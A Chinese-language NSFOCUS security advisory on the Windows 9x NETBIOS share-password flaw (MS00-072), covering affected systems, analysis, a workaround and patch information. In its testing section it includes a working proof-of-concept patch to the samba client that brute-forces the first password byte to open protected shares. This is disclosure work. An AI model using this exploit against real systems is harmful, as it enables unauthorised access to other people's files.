NSFOCUS 安全小组发现了微软Windows 9x NETBIOS协议口令校验部分存在一个安全漏洞。这个漏洞允许任意用户访问Windows 9x文件共享服务,即使此共享目录已经受到口令保护。攻击者并不需要知道真实口令。
受影响的软件及系统:Microsoft Windows 95、Microsoft Windows 98、Microsoft
Windows 98 Second Edition。不受影响的软件及系统: Microsoft Windows NT、Microsoft
Windows 2000。
漏洞分析:
Windows
9x系统提供的文件和打印共享服务可以设置口令保护,以避免非法用户的访问。然而微软NETBIOS协议的口令校验机制存在一个严重漏洞,使得这种保护形同虚设。服务端在对客户端的口令进行校验时是以客户端发送的长度数据为依据的。因此,客户端在发送口令认证数据包时可以设置长度域为1, 同时发送一个字节的明文口令给服务端。服务端就会将客户端发来口令与服务端保存的共享口令的第一个字节进行明文比较,如果匹配就认为通过了验证。因此,攻击者仅仅需要猜测共享口令的第一个字节即可。
Microsoft Windows 9x 的远程管理也是采用的共享密码认证方式,所以也受此漏洞影响。
漏洞测试:
下面提供一个简单的测试程序。
您需要下载并修改Linux下的samba client(source/client/client.c)的源码:
--- samba-2.0.6.orig/source/client/client.c Thu Nov 11 10:35:59
1999
+++ samba-2.0.6/source/client/client.c Mon Sep 18 21:20:29 2000
@@ -1961,12 +1961,22 @@ struct cli_state *do_connect(char *serve
DEBUG(4,(" session setup ok
"));
+/*
if (!cli_send_tconX(c, share, "?????",
password, strlen(password)+1)) {
DEBUG(0,("tree connect failed: %s
", cli_errstr(c)));
cli_shutdown(c);
return NULL;
}
+*/
+
+ password[0] = 0;
+ c-sec_mode = 0;
+ do{
+
+ password[0]+=1;
+
+ }while(!cli_send_tconX(c, share, "?????", password, 1));
DEBUG(4,(" tconx ok
"));
临时解决方法:
NSFOCUS建议您在没有获得并安装补丁程序之前,暂时关闭文件共享服务。
解决方案:
我们已经将这个问题通报给了微软公司,微软已就此发布了一个安全公告(MS00-072) 以及相应补丁。
您可以在下列地址看到微软安全公告的详细内容:
http://www.microsoft.com/technet/security/bulletin/ms00-072.asp
英文版的补丁程序可以在下列地址下载:
. Microsoft Windows 95:微软将会尽快提供补丁
. Microsoft Windows 98 and 98 Second Edition
. Microsoft Windows Me